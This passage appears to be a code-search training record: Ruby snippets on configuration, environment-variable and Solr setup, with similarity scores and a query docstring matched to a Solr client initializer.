then\r\n raise \"#{msg_prefix} > Project not found: #{project}.\"\r\n end\r\n\r\n load_yml_config(project)\r\n\r\n @enable_remote_logging = load_boolean(\"ENABLE_REMOTE_LOGGING\", true)\r\n @logstash_host = load_var(\"LOGSTASH_HOST\", \"showinpoc01.fbfs.com\")\r\n @logstash_port = load_var(\"LOGSTASH_PORT\", 5514).to_i\r\n\r\n @aut_host = load_var(\"HOST\")\r\n @test_slave_host = load_var('REMOTE_HOST', 'showinpoc01.fbfs.com')\r\n @test_slave_port = load_var('REMOTE_PORT', 4444).to_i\r\n\r\n @in_browser = load_boolean(\"IN_BROWSER\", true)\r\n\r\n @browser = load_var('BROWSER', 'ie')\r\n\r\n @log_level = load_var(\"LOG_LEVEL\", \"Logger::INFO\")\r\n\r\n @screenshots = load_boolean(\"TAKE_SCREEN_SHOT\", true) # Was ist das?\r\n @screenshots_on_fail = load_boolean(\"TAKE_SCREEN_SHOT_ON_FAIL\", true)\r\n @screenshots_on_warning = load_boolean(\"TAKE_SCREEN_SHOT_ON_WARNING\",\r\n true)\r\n\r\n @yml_config.delete(\"project\")\r\n\r\n unless @yml_config.empty? then\r\n # TODO: Error class\r\n raise \"#{msg_prefix} > Unknown keys in \"\\\r\n \"#{project}'s #{SAF::PROJECT_ENV_YAML}:\\n\"\\\r\n \" #{@yml_config.keys.join(', ')}\"\r\n end\r\n end", "def load_config_files_for_enviroment( *args )\n options = args.extract_options\n\n args << File.join(\n File.dirname( args.first ), \":env.#{File.extension( args.first )}\"\n ) unless args.length > 1\n\n load_config_files( *(args << options) )\n end", "def set_from_env\n ENV_TO_KEY.each do |env_key, key|\n next unless (value = ENV[env_key])\n\n type, key = key if key.is_a? Array\n\n value =\n case type\n when :int then value.to_i\n when :float then value.to_f\n when :bool then !%w[0 false].include?(value.strip.downcase)\n when :list then value.split(/[ ,]/)\n when :dict then Hash[value.split(/[&,]/).map { |kv| kv.split('=') }]\n else value\n end\n\n send(\"#{key}=\", value)\n end\n end", "def default_environment=(env); end", "def load()\n\n checkFileExists()\n loadConfigs()\n checkConfigs() \n end", "def load(*features)\n\t\t\t\tfeatures.each do |feature|\n\t\t\t\t\tnext if @loaded.include?(feature)\n\t\t\t\t\t\n\t\t\t\t\tcase feature\n\t\t\t\t\twhen Symbol\n\t\t\t\t\t\trelative_path = File.join(__dir__, \"environments\", \"#{feature}.rb\")\n\t\t\t\t\t\t\n\t\t\t\t\t\tself.instance_eval(File.read(relative_path), relative_path)\n\t\t\t\t\t\t\n\t\t\t\t\t\t@loaded[feature] = relative_path\n\t\t\t\t\twhen Module\n\t\t\t\t\t\tfeature.load(self)\n\t\t\t\t\t\t\n\t\t\t\t\t\t@loaded[feature] = feature\n\t\t\t\t\telse\n\t\t\t\t\t\traise LoadError, \"Unsure about how to load #{feature}!\"\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend", "def evaluate_env_file(path, vars)\n return unless File.file?(path)\n Array(vars).each do |var|\n next if ENV[var]\n value = `source #{path} 2> /dev/null && echo $#{var}`.chomp\n ENV[var] = value unless value.nil? || value.empty?\n end\nend", "def apply_environment_overrides\n @format = env(:format, @format)\n @autopath = env(:autopath, @autopath)\n @files = env(:files, @files)\n @match = env(:match, @match)\n @tags = env(:tags, @tags)\n @units = env(:units, @units)\n @requires = env(:requires, @requires)\n @loadpath = env(:loadpath, @loadpath)\n end", "def load_config(global)\n config_file_path = File.join(Dir.home, CONFIG_FILE_NAME)\n\n if File.exists?(config_file_path)\n require 'yaml'\n file_settings = YAML.load_file(config_file_path)\n global[:config].merge!(file_settings)\n end\n\nend", "def load_environment(tasks)\n environment = tasks[:environment]\n if environment.nil?\n Kernel.abort(\"Unable to load details of environment '#{tasks[:environment_name]}'\")\n end\n environment\nend", "def run\n loader = RCLoadEnv::Loader.new @config_name,\n exclude: @exclude, include: @include, override: @override,\n project: @project, debug: @debug\n if @command_list\n loader.modify_env ENV\n exec(*@command_list)\n else\n loader.write_dotenv\n end\n end", "def setup_profiled(**args)\n super(**args)\n default_env_vars.each do |key, value|\n set_env_default key, value\n end\n end", "def set_or_init(i,val)\n \n env = ENV[i.upcase]\n \n if env.nil?\n \n instance_variable_set(\"@\" + i, val)\n \n else\n \n instance_variable_set(\"@\" + i, env)\n \n end\n \n end", "def load(config_filename)\n eval(IO.read(config_filename), binding, config_filename)\n (local_variables - [\"config_filename\"]).each { |v| self[v] = eval(v, binding) }\n self\n end", "def load config_file\n YAML.load_file(config_file).each do |parameter,value|\n instance_variable_set( \"@#{parameter}\", value )\n end\n end", "def env_secret name\n if (path = ENV[\"#{name}_FILE\"])\n if File.readable? path\n return File.read(path).strip\n else\n raise \"The file pointed to by #{name}_FILE is not readable!\"\n end\n end\n\n ENV[name]\nend", "def azure_env_settings_for_opts(opts)\n new_opts = opts.dup\n load_env_azure_settings new_opts\n new_opts\n end", "def load_from_file(filename, environment)\n if File.exist?( filename ) then\n @loaded_from = filename\n configuration = YAML.load_file(filename)\n if environment_based?\n configuration = configuration[environment] or raise Error, \"environment #{environment} \" +\n \"not found in #{filename}\"\n configuration\n end\n keys.each do |k|\n raise Error, \"key missing: #{k}\" unless configuration.has_key?( k )\n end\n configuration.extend(AlternateConfig)\n configuration.config_file = self\n configuration\n else\n raise Error, \"file not found: #{filename}\"\n end\n end", "def load\n\t\tsource = self.depfile.read\n\t\tself.instance_eval( source, self.depfile.to_s, 1 )\n\tend", "def to_a\n to_load = []\n # Dotenv values for your local development environment only\n to_load << File.join(app_root, \".env.custom\") if app_env.development?\n\n # Dotenv values for the local computer\n to_load << File.join(app_root, \".env.local\")\n\n # Dotenv values specific to the current Rails.env\n if app_env\n app_env_dotenv = File.join(app_root, \".env.#{app_env}\")\n protect_against_missing_app_env_dotenv(app_env_dotenv)\n to_load << app_env_dotenv\n end\n\n # Last, but not least, the good 'ol .env file\n to_load << File.join(app_root, \".env\")\n\n to_load\n end", "def [](name)\n @config ||= {}\n @config[name.to_sym] ||= load(name)\n end", "def load_data(data)\n data.keys.each do |key|\n if include?(key)\n self[key] = data[key]\n else\n env = DeploymentEnvironment.new\n env.name = key.to_s\n env.load_data(data[key])\n\n environments << key.to_s\n\n # register a child LYC to establish override hierarchy\n register_child(env, key)\n end\n end\n end", "def load_path=(load_path); end" ]
[ "0.7329151", "0.72662574", "0.72486913", "0.7222773", "0.71603775", "0.7124627", "0.7092681", "0.70685375", "0.68503815", "0.68421245", "0.6829146", "0.68004715", "0.67679393", "0.67175376", "0.6690432", "0.6684529", "0.66574657", "0.6629591", "0.6610921", "0.6596254", "0.6574676", "0.6568661", "0.6537057", "0.6524558", "0.65204394", "0.6479166", "0.64435756", "0.64111173", "0.63627046", "0.6347193", "0.63139117", "0.63044727", "0.62856305", "0.62688744", "0.62342536", "0.62182313", "0.62182313", "0.62182313", "0.62182313", "0.62182313", "0.62182313", "0.62182313", "0.62182313", "0.62182313", "0.62182313", "0.62182313", "0.62182313", "0.62182313", "0.6202995", "0.61952573", "0.61837924", "0.6161844", "0.6122737", "0.61193806", "0.61157703", "0.610416", "0.6093157", "0.60875773", "0.60468477", "0.6036448", "0.6025744", "0.59870994", "0.59738386", "0.5957578", "0.5956517", "0.5946485", "0.5933317", "0.5907457", "0.5900651", "0.5900499", "0.5897339", "0.5886674", "0.5880999", "0.5871835", "0.58591956", "0.5854927", "0.58230734", "0.5814999", "0.57973516", "0.5779909", "0.57766384", "0.57502353", "0.5735115", "0.57296544", "0.5727078", "0.57096976", "0.5709247", "0.57053757", "0.57001865", "0.5672933", "0.5650143", "0.56404567", "0.5623854", "0.56216073", "0.56190056", "0.56121254", "0.5601535", "0.55872893", "0.5586783", "0.5579772", "0.5576831" ]
0.0
-1
The solr_install_dir argument is expected to be "/app/solr7 or /app/solr6", the directory under which the solr is installed on the compute
def initialize(host, port, solr_admin_user, solr_admin_password, solr_app_user, solr_password, zk_classpath, zk_host, solr_install_dir) @host = host @port = port @solr_admin_user = solr_admin_user @solr_admin_password = solr_admin_password @solr_app_user = solr_app_user @solr_password = solr_password @zk_classpath = zk_classpath @zk_host = zk_host @solr_install_dir = solr_install_dir end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def solr_home_dir\n File.expand_path(File.join(solr_dist_dir, 'example', 'solr'))\nend", "def solr_dist_dir\n File.expand_path(File.join(File.dirname(__FILE__), '..', 'solr'))\nend", "def install_solr_home\n unless File.exists?(solr_home)\n Sunspot::Installer.execute(\n solr_home,\n :force => true,\n :verbose => true\n )\n end\n end", "def solr_data_dir\n File.expand_path(File.join(solr_dist_dir, 'example', 'solr', 'data'))\nend", "def solr_home\n File.join(FileUtils.pwd, 'solr')\n end", "def solr_home\n File.join(configuration.solr_home)\n end", "def solr_home\n File.join(configuration.solr_home)\n end", "def solr_home\n @solr_home ||=\n if user_configuration_from_key('solr', 'solr_home')\n user_configuration_from_key('solr', 'solr_home')\n else\n File.join(::Rails.root, 'solr')\n end\n end", "def solr_data_dir\n File.join(solr_home, 'data', ::Rails.env)\n end", "def check_fedora_path_for_solr\n path = ::File.dirname(self.path) + \"/solr.yml\"\n return unless ::File.file? path\n path\n end", "def new_solr_core solr_home_path, solr_data_path\n \n import org.apache.solr.core.SolrResourceLoader\n import org.apache.solr.core.CoreContainer\n import org.apache.solr.core.SolrConfig\n import org.apache.solr.core.CoreDescriptor\n import org.apache.solr.schema.IndexSchema\n import org.apache.solr.core.SolrCore\n \n config_file = SolrConfig::DEFAULT_CONF_FILE\n \n resource_loader = SolrResourceLoader.new(solr_home_path)\n cores = CoreContainer.new(resource_loader)\n \n solr_config = SolrConfig.new(solr_home_path, config_file, nil)\n \n dcore = CoreDescriptor.new(cores, \"\", solr_config.getResourceLoader().getInstanceDir())\n \n index_schema = IndexSchema.new(solr_config, \"#{solr_home_dir}/conf/schema.xml\", nil)\n \n core = SolrCore.new( nil, solr_data_path, solr_config, index_schema, dcore)\n \n cores.register(\"\", core, false)\n \n core\nend", "def lib_path\n File.join( solr_home, 'lib' )\n end", "def install_conf_files\n generate(\"bindery:solr_conf\", \"#{File.join(save_location, 'solr')} --force\")\n end", "def solr_url\n @solr_url ||= @configurations[:solr_url]\n end", "def bootstrap\n unless @bootstrapped\n install_solr_home\n @bootstrapped = true\n end\n end", "def solr\n @solr ||= RSolr.connect(url: solr_url)\n end", "def solr_url(interactive = false)\n #proto = 'http'\n #host = 'junco.lib.virginia.edu'\n #port = '8080'\n #path = [\"#{proto}://#{host}:#{port}\"]\n #path << 'solr'\n #path << '#' if interactive\n #path << 'test_core'\n #path.join('/')\n return ENV['SOLR_URL'] if interactive == false\n return ENV['SOLR_URL'].gsub( \"/solr/\", \"/solr/#/\" )\n end", "def config_path\n File.join(solr_home, 'conf')\n end", "def install_directory\n \"C:\\\\opscode\\\\chef\"\n end", "def create_solr_directories\n [solr_data_dir, pid_dir].each do |path|\n FileUtils.mkdir_p( path )\n end\n end", "def solr_conf_files\n copy_file \"solr_conf/solr.xml\", File.expand_path(\"./solr.xml\", target_path)\n ['development', 'test'].each do |core|\n conf_path = \"#{target_path}/#{core}-core/conf\"\n copy_file \"solr_conf/schema.xml\", File.expand_path(\"./schema.xml\", conf_path)\n copy_file \"solr_conf/solrconfig.xml\", File.expand_path(\"./solrconfig.xml\", conf_path)\n end\n end", "def url\n \"http://127.0.0.1:#{port}/solr/\"\n end", "def solr_libs(arg = nil)\n set_or_return(:solr_libs, arg, kind_of: [String])\n end", "def install_dir\n @install_dir ||= ENV['WD_INSTALL_DIR'] || DEFAULT_INSTALL_DIR\n end", "def search_solr( solr_args )\n raise \"solr_args should at least contain a ':q' key\" unless solr_args.has_key? :q\n\n unless defined? @solr\n @solr = RSolr.connect :url => 'http://www.sanger.ac.uk/mouseportal/solr'\n end\n\n @solr.get 'select', :params => solr_args\n end", "def solr_conf_files\n copy_file \"solr_conf/schema.xml\", File.expand_path(\"./schema.xml\", target_path)\n copy_file \"solr_conf/solrconfig.xml\", File.expand_path(\"./solrconfig.xml\", target_path)\n end", "def start\n extract\n if managed?\n exec('start', p: port)\n\n # Wait for solr to start\n unless status\n sleep 1\n end\n end\n end", "def solr_root\n url = URI.parse(search_engine_url)\n host = url.scheme + '://' + url.host\n if url.port\n host += ':' + url.port.to_s\n end\n host\n end", "def solr_validator(hash_to_validate)\n @log.debug 'Calling solr validator' if @debug\n solr_deploy = hash_to_validate[:solr_deploy]\n if solr_deploy.nil? or solr_deploy.empty?\n @log.error \"'solr_deploy' is required parameter, valid values: hash|disabled\"\n @errors_count += 1\n elsif solr_deploy == 'disabled'\n @log.debug 'Solr deployment is disabled' if @debug\n elsif ! solr_deploy.is_a? Hash\n @log.error \"Unrecognized value set for 'solr_deploy' : #{solr_deploy}\"\n @errors_count += 1\n end\n\n # TODO Remove this and add new module of solr that supports non-hdfs-deployments\n if solr_deploy != 'disabled' && solr_deploy[:hdfs_integration] == 'disabled'\n @log.error '[Not Implemented]'.red + 'Feature not yet implemented, work is in progress'\n @errors_count += 1\n end\n\n if hash_to_validate[:install_mode] == 'local'\n if solr_deploy != 'disabled'\n hdfs_integration = solr_deploy[:hdfs_integration]\n if hdfs_integration.nil? or hdfs_integration.empty?\n @log.error \"'hdfs_integration' should be either enabled or disabled\"\n @errors_count += 1\n elsif ! %w(enabled disabled).include?(hdfs_integration)\n @log.error \"Invalid value for 'hdfs_integration', valid values are either: 'enabled' or 'disabled'\"\n @errors_count += 1\n end\n if hdfs_integration == 'disabled'\n solr_nodes = solr_deploy[:nodes]\n if solr_nodes.nil? or solr_nodes.empty?\n @log.error \"Property 'nodes' of 'solr_deploy' should contain list of fqdn(s) on which to deploy solr\"\n @errors_count += 1\n elsif ! solr_nodes.is_a? Array\n @log.error \"Excepting list (array) of nodes for 'nodes' of 'solr_deploy'\"\n @errors_count += 1\n end \n else # hdfs integration enabled, collocate solr on hadoop_nodes\n if hash_to_validate[:hadoop_deploy] == 'disabled'\n @log.error \"'hdfs_integration' requires a valid hadoop deployment\"\n @errors_count += 1\n end\n solr_nodes = solr_deploy[:nodes]\n if solr_nodes.nil? or solr_nodes.empty?\n @log.error \"Property 'nodes' of 'solr_deploy' should contain list of fqdn(s) on which to deploy solr\"\n @errors_count += 1\n elsif ! solr_nodes.is_a? Array\n @log.error \"Excepting list (array) of nodes for 'nodes' of 'solr_deploy'\"\n @errors_count += 1\n end \n end\n end\n else # Cloud deploy\n if solr_deploy != 'disabled'\n hdfs_integration = solr_deploy[:hdfs_integration]\n if hdfs_integration.nil? or hdfs_integration.empty?\n @log.error \"'hdfs_integration' should be either enabled or disabled\"\n @errors_count += 1\n elsif ! %w(enabled disabled).include?(hdfs_integration)\n @log.error \"Invalid value for 'hdfs_integration', valid values are either: 'enabled' or 'disabled'\"\n @errors_count += 1\n end\n if hdfs_integration == 'disabled'\n number_of_instances = solr_deploy[:number_of_instances]\n if number_of_instances.nil?\n @log.error \"'number_of_instances' is required when 'hdfs_integration' is disabled\"\n @errors_count += 1\n elsif ! number_of_instances.is_a? Numeric\n @log.error \"'number_of_instances' should be of type Numeric\"\n @errors_count += 1\n end\n else\n if hash_to_validate[:hadoop_deploy] == 'disabled'\n @log.error \"'hdfs_integration' requires a valid hadoop deployment\"\n @errors_count += 1\n end \n end\n end\n end\n end", "def install_dir(val = NULL)\n if null?(val)\n @install_dir || raise(MissingRequiredAttribute.new(self, :install_dir, \"/opt/chef\"))\n else\n @install_dir = val.tr('\\\\', \"/\").squeeze(\"/\").chomp(\"/\") # rubocop:disable Style/StringLiterals\n end\n end", "def solr_url\n if ENV['SOLR_URL'] || ENV['WEBSOLR_URL']\n URI.parse(ENV['SOLR_URL'] || ENV['WEBSOLR_URL'])\n end\n end", "def do_local_indexing(solr_doc); end", "def solr_powered?\n self.solr_powered\n end", "def component_install_path(cmp)\n File.join WORK_PATH, 'install', cmp\nend", "def solr\n @solr_fields = get_solr_fields\n @solr_info = get_solr_information\n end", "def solr_url\n @solr_url ||= endpoint_url.gsub(/\\/select$/, '')\n end", "def compute_arguments\n \n arguments = {}\n\n arguments[\"MARC_FILE\"] = ENV[\"MARC_FILE\"]\n\n \n arguments[:config_properties_path] = ENV['CONFIG_PATH']\n\n\n # Find config in local app or plugin, possibly based on our RAILS_ENV (::Rails.env)\n unless arguments[:config_properties_path]\n app_site_path = File.expand_path(File.join(Rails.root, \"config\", \"SolrMarc\"))\n plugin_site_path = File.expand_path(File.join(Rails.root, \"vendor\", \"plugins\", \"blacklight\", \"config\", \"SolrMarc\"))\n\n [ File.join(app_site_path, \"config-#{::Rails.env}.properties\" ),\n File.join( app_site_path, \"config.properties\"),\n File.join( plugin_site_path, \"config-#{::Rails.env}.properties\"),\n File.join( plugin_site_path, \"config.properties\"),\n ].each do |file_path|\n if File.exists?(file_path)\n arguments[:config_properties_path] = file_path\n break\n end\n end\n end\n \n #java mem arg is from env, or default\n\n arguments[:solrmarc_mem_arg] = ENV['SOLRMARC_MEM_ARGS'] || '-Xmx512m'\n \n # SolrMarc is embedded in the plugin, or could be a custom\n # one in local app. \n arguments[:solrmarc_jar_path] = ENV['SOLRMARC_JAR_PATH'] || locate_path(\"lib\", \"SolrMarc.jar\") \n \n\n \n # solrmarc.solr.war.path and solr.path, for now pull out of ENV\n # if present. In progress. jrochkind 25 Apr 2011. \n arguments[:solr_war_path] = ENV[\"SOLR_WAR_PATH\"] if ENV[\"SOLR_WAR_PATH\"]\n arguments[:solr_path] = ENV['SOLR_PATH'] if ENV['SOLR_PATH']\n\n # Solr URL, find from solr.yml, app or plugin\n # use :replicate_master_url for current env if present, otherwise :url\n # for current env. \n # Also take jetty_path from there if present. \n if c = Blacklight.solr_config\n arguments[:solr_url] = c[:url] \n if c[:jetty_path]\n arguments[:solr_path] ||= File.expand_path(File.join(c[:jetty_path], \"solr\"), Rails.root)\n arguments[:solr_war_path] ||= File.expand_path(File.join(c[:jetty_path], \"webapps\", \"solr.war\"), Rails.root)\n end\n end\n \n return arguments\nend", "def install_dir(val = NULL)\n if null?(val)\n @install_dir || raise(MissingProjectConfiguration.new('install_dir', '/opt/chef'))\n else\n @install_dir = File.expand_path(val, Config.project_root)\n end\n end", "def path\n @path ||=\n if user_configuration.has_key?('solr')\n \"#{user_configuration['solr']['path'] || '/solr'}\"\n end\n end", "def install_path(val = NULL_ARG)\n unless val.equal?(NULL_ARG)\n @install_path = windows_safe_path(val)\n end\n @install_path || raise(MissingProjectConfiguration.new('install_path', '/opt/chef'))\n end", "def install_root\n self.class.install_root.join(name)\n end", "def install_root\n Pathname.new(ENV[\"PREFIX\"] || \"/var/www/ood/apps/sys\")\n end", "def default_install_dir\n @install_dir ||= CernerSplunk::PathHelpers.default_install_dirs[package][node['os'].to_sym]\n raise \"Unsupported Combination: #{package} + #{node['os']}\" unless @install_dir\n @install_dir\n end", "def core_url\n @blacklight_context.default_index.connection.uri.to_s.gsub(%r{^.*\\/solr}, '/solr')\n end", "def installdirs=(val)\n @installdirs = val\n case val.to_s\n when 'std'\n self.rbdir = '$librubyver'\n self.sodir = '$librubyverarch'\n when 'site'\n self.rbdir = '$siterubyver'\n self.sodir = '$siterubyverarch'\n when 'home'\n raise SetupError, 'HOME is not set.' unless ENV['HOME']\n self.prefix = ENV['HOME']\n self.rbdir = '$libdir/ruby'\n self.sodir = '$libdir/ruby'\n else\n raise SetupError, \"bad config: use INSTALLDIRS=(std|site|home|local) [#{val}]\"\n end\n end", "def to_solr(_solr_doc = {}, _opts = {})\n indexing_service.generate_solr_document\n end", "def os_install_dir\n @os_install_dir\n end", "def install_dir # :nodoc:\n File.join Gem.dir, 'bundler', 'gems', \"#{@name}-#{dir_shortref}\"\n end", "def install!(name:, dir: nil)\r\n end", "def installed_spec_directories; end", "def install(name:, dir: nil)\r\n end", "def uploadCustomConfig_without_bash_resource(solrversion,zkHost,configname,dirname)\n Chef::Log.info(\"uploadCustomConfig : #{solrversion} : #{zkHost} : #{configname} : #{dirname}\")\n solrmajorversion = \"#{solrversion}\"[0,1]\n begin\n\n command = \"#{node['installation_dir_path']}/solr#{solrmajorversion}/server/scripts/cloud-scripts/zkcli.sh -zkhost #{zkHost} -cmd upconfig -confdir #{dirname} -confname #{configname}\"\n\n Chef::Log.info(\"uploadCustomConfig command : #{command}\")\n\n result = `#{command}`\n if $? != 0\n raise \"uploading custom config failed: #{result}\"\n end\n Chef::Log.info(\"Successfully uploaded custom config '#{configname}'\")\n rescue Exception => msg\n raise \"Error while uploading zookeeper config : #{msg}\"\n end\n end", "def upload_solr_configuration(model, force = false, reindex = true) # rubocop:disable all\n reload_solr_core(model, false, false)\n count = 0\n @live_indexing = model.live_indexing\n @solr_commit_time = model.solr_commit_time || (@live_indexing ? '1000' : '5000')\n @ram_buffer_size = model.ram_buffer_size || (@live_indexing ? '2000' : '100')\n @lucene_match_version = model.lucene_match_version\n if Rails.root.join('config', 'solr', \"#{model.column_family}-solrconfig.xml\").exist?\n say 'Using custom solrconfig file', :subitem\n solrconfig = ERB.new(Rails.root.join('config', 'solr', \"#{model.column_family}-solrconfig.xml\").read).result(binding)\n else\n solrconfig = ERB.new(File.read(File.join(File.dirname(__FILE__), '..', '..', '..', 'config', 'solrconfig.xml.erb'))).result(binding)\n end\n if Rails.root.join('config', 'solr', \"#{model.column_family}-stopwords.txt\").exist?\n say 'Using custom stopwords file', :subitem\n stopwords = Rails.root.join('config', 'solr', \"#{model.column_family}-stopwords.txt\").read\n else\n stopwords = File.read(File.join(File.dirname(__FILE__), '..', '..', '..', 'config', 'stopwords.txt'))\n end\n schema = generate_solr_schema(model)\n solrconfig_digest = Digest::SHA1.hexdigest(solrconfig)\n stopwords_digest = Digest::SHA1.hexdigest(stopwords)\n schema_digest = Digest::SHA1.hexdigest(schema)\n\n newcf = !column_exists?(model.column_family, 'solr_query')\n force ||= newcf\n\n results = DatastaxRails::Cql::Select.new(SchemaMigration, ['*']).conditions(cf: model.column_family).execute\n sm_digests = results.first || {}\n\n solr_url = \"#{DatastaxRails::Base.solr_base_url}/resource/#{@keyspace}.#{model.column_family}\"\n\n uri = URI.parse(solr_url)\n http = Net::HTTP.new(uri.host, uri.port)\n if uri.scheme == 'https'\n http.use_ssl = true\n http.cert = OpenSSL::X509::Certificate.new(Rails.root.join('config', 'datastax_rails.crt').read)\n http.key = OpenSSL::PKey::RSA.new(Rails.root.join('config', 'datastax_rails.key').read)\n http.ca_path = Rails.root.join('config', 'sade_ca.crt').to_s\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n http.read_timeout = 300\n\n if force || solrconfig_digest != sm_digests['solrconfig']\n count += 1\n loop do\n say \"Posting Solr Config file to '#{solr_url}/solrconfig.xml'\", :subitem\n http.post(uri.path + '/solrconfig.xml', solrconfig, 'Content-type' => 'text/xml; charset=utf-8')\n if Rails.env.production?\n sleep(5)\n resp = http.get(uri.path + '/solrconfig.xml')\n continue unless resp.message == 'OK'\n end\n break\n end\n DatastaxRails::Cql::Update.new(SchemaMigration, cf: model.column_family).columns(solrconfig: solrconfig_digest).execute\n end\n if force || stopwords_digest != sm_digests['stopwords']\n count += 1\n loop do\n say \"Posting Solr Stopwords file to '#{solr_url}/stopwords.txt'\", :subitem\n http.post(uri.path + '/stopwords.txt', stopwords, 'Content-type' => 'text/xml; charset=utf-8')\n if Rails.env.production?\n sleep(5)\n resp = http.get(uri.path + '/stopwords.txt')\n continue unless resp.message == 'OK'\n end\n break\n end\n DatastaxRails::Cql::Update.new(SchemaMigration, cf: model.column_family).columns(stopwords: stopwords_digest).execute\n end\n if force || schema_digest != sm_digests['digest']\n count += 1\n loop do\n say \"Posting Solr Schema file to '#{solr_url}/schema.xml'\", :subitem\n http.post(uri.path + '/schema.xml', schema, 'Content-type' => 'text/xml; charset=utf-8')\n if Rails.env.production?\n sleep(5)\n resp = http.get(uri.path + '/schema.xml')\n continue unless resp.message == 'OK'\n end\n break\n end\n DatastaxRails::Cql::Update.new(SchemaMigration, cf: model.column_family).columns(digest: schema_digest).execute\n if newcf\n create_solr_core(model)\n elsif reindex\n reindex_solr(model)\n end\n end\n count\n end", "def determine_solr_update_url\n if settings['solr.update_url']\n check_solr_update_url(settings['solr.update_url'])\n else\n derive_solr_update_url_from_solr_url(settings['solr.url'])\n end\n end", "def install_dir # :nodoc:\n return unless File.exist? repo_cache_dir\n\n File.join base_dir, 'gems', \"#{@name}-#{dir_shortref}\"\n end", "def to_solr(solr_doc=Hash.new, *args)\n doc = self.ng_xml\n if doc.root['type']\n shelved_file_count=0\n content_file_count=0\n resource_type_counts={}\n resource_count=0\n preserved_size=0\n first_shelved_image=nil\n add_solr_value(solr_doc, \"content_type\", doc.root['type'], :string, [:facetable])\n doc.xpath('contentMetadata/resource').sort { |a,b| a['sequence'].to_i <=> b['sequence'].to_i }.each do |resource|\n resource_count+=1\n if(resource['type'])\n if resource_type_counts[resource['type']]\n resource_type_counts[resource['type']]+=1 \t\n else\n resource_type_counts[resource['type']]=1\n end\n end\n resource.xpath('file').each do |file|\n content_file_count+=1\n if file['shelve'] == 'yes'\n shelved_file_count+=1\n if first_shelved_image.nil? and file['id'].match(/jp2$/)\n first_shelved_image=file['id']\n end\n end\n if file['preserve'] == 'yes'\n preserved_size += file['size'].to_i\n end\n end\n end\n add_solr_value(solr_doc, \"content_file_count\", content_file_count.to_s, :string, [:searchable, :displayable])\n add_solr_value(solr_doc, \"shelved_content_file_count\", shelved_file_count.to_s, :string, [:searchable, :displayable])\n add_solr_value(solr_doc, \"resource_count\", resource_count.to_s, :string, [:searchable, :displayable])\n add_solr_value(solr_doc, \"preserved_size\", preserved_size.to_s, :string, [:searchable, :displayable])\n resource_type_counts.each do |key, count|\n add_solr_value(solr_doc, key+\"_resource_count\", count.to_s, :string, [:searchable, :displayable])\n end\n if not first_shelved_image.nil?\n add_solr_value(solr_doc, \"first_shelved_image\", first_shelved_image, :string, [:displayable])\n end\n end\n solr_doc\n end", "def install_dir(lib)\n if fr = ENV['FAKEROOT']\n return File.join(fr, lib)\n end\n\n lib\nend", "def initialize url = nil\n @solr = url.nil? ? RSolr.connect(:url => RH_CONFIG[\"solr_discovery\"]) : RSolr.connect(:url => url)\n end", "def uploadDefaultConfig(solrversion,zkHost,configname)\n dirname = \"#{node['user']['dir']}/solr-config/default\"\n if (\"#{solrversion}\".start_with? \"5.\") || (\"#{solrversion}\".start_with? \"6.\") || (\"#{solrversion}\".start_with? \"7.\")\n dirname = \"#{node['installation_dir_path']}/solr#{solrmajorversion}/server/solr/configsets/data_driven_schema_configs/conf\"\n end\n uploadCustomConfig(solrversion,zkHost,configname,dirname)\n end", "def install_dir\n Crate.project.install_dir\n end", "def user_install_dir\n eval_path(find_val('user_install_dir') || home_dir)\n end", "def uploadCustomConfig(solrversion,zkHost,configname,dirname)\n Chef::Log.info(\"uploadCustomConfig : #{solrversion} : #{zkHost} : #{configname} : #{dirname}\")\n solrmajorversion = \"#{solrversion}\"[0,1]\n begin\n\n command = \"#{node['installation_dir_path']}/solr#{solrmajorversion}/server/scripts/cloud-scripts/zkcli.sh -zkhost #{zkHost} -cmd upconfig -confdir #{dirname} -confname #{configname}\"\n\n Chef::Log.info(\"uploadCustomConfig command : #{command}\")\n\n bash 'upload_custom_config' do\n code <<-EOH\n #{command}\n EOH\n end\n \n Chef::Log.info(\"Successfully uploaded custom config '#{configname}'\")\n rescue Exception => msg\n raise \"Error while uploading zookeeper config : #{msg}\"\n end\n end", "def solr(url, handler, params={})\n connection, solr_url = connection(url)\n req_url = solr_url.path + '/select?' + hash_to_query_string(params.merge(:qt => handler))\n # puts \"*** requesting to Solr: #{req_url}\"\n connection.get(req_url)\nend", "def pid_file\n \"sunspot-solr.pid\"\n end", "def wrap_solr_request\n\n # Get fq parameters from request object\n fq =[]\n request.query_string.split(\"&\").each do |p|\n if p.starts_with?(\"fq=\")\n fq.push(URI.decode_www_form_component(p[3..-1]))\n end\n end\n\n q = params[:q] || \"*:*\"\n wt = params[:wt] || \"json\"\n start = params[:start] || 0\n rows = params[:rows] || 10\n sort = params[:sort] || 'pubyear desc,modified desc'\n\n\n response = solr.get 'select', :params => {:q => q, :fq => fq, :wt=> wt, :sort => sort, :start => start.to_i, :rows => rows.to_i}\n\n if wt.eql?(\"xml\")\n render xml: response\n elsif wt.eql?(\"json\")\n render json: response\n else\n render nothing: true\n end\n end", "def to_solr(solr_doc=Hash.new, opts={})\n\n active_fedora_model_s = solr_doc[\"active_fedora_model_s\"] if solr_doc[\"active_fedora_model_s\"]\n actual_class = active_fedora_model_s.constantize if active_fedora_model_s\n if actual_class && actual_class != self.class && actual_class.superclass == ::FileAsset\n solr_doc\n else\n super(solr_doc,opts)\n end\n end", "def path\n unless defined?(@path)\n @path = solr_url.path if solr_url\n @path ||= user_configuration_from_key('solr', 'path')\n @path ||= default_path\n end\n @path\n end", "def adapter_name\n 'solr'\n end", "def define_im_install_dir\n user = define_user\n case new_resource.im_install_mode\n when 'admin'\n im_install_dir = if new_resource.im_install_dir.nil?\n '/opt/IBM/InstallationManager'\n else\n new_resource.im_install_dir\n end\n im_install_dir\n when 'nonAdmin'\n im_install_dir = if new_resource.im_install_dir.nil?\n '/home/' + user + '/IBM/InstallationManager'\n else\n new_resource.im_install_dir\n end\n im_install_dir\n when 'group'\n im_install_dir = if new_resource.im_install_dir.nil?\n '/home/' + user + '/IBM/InstallationManager_Group'\n else\n new_resource.im_install_dir\n end\n im_install_dir\n end\nend", "def define_im_install_dir\n user = define_user\n case new_resource.im_install_mode\n when 'admin'\n im_install_dir = if new_resource.im_install_dir.nil?\n '/opt/IBM/InstallationManager'\n else\n new_resource.im_install_dir\n end\n im_install_dir\n when 'nonAdmin'\n im_install_dir = if new_resource.im_install_dir.nil?\n '/home/' + user + 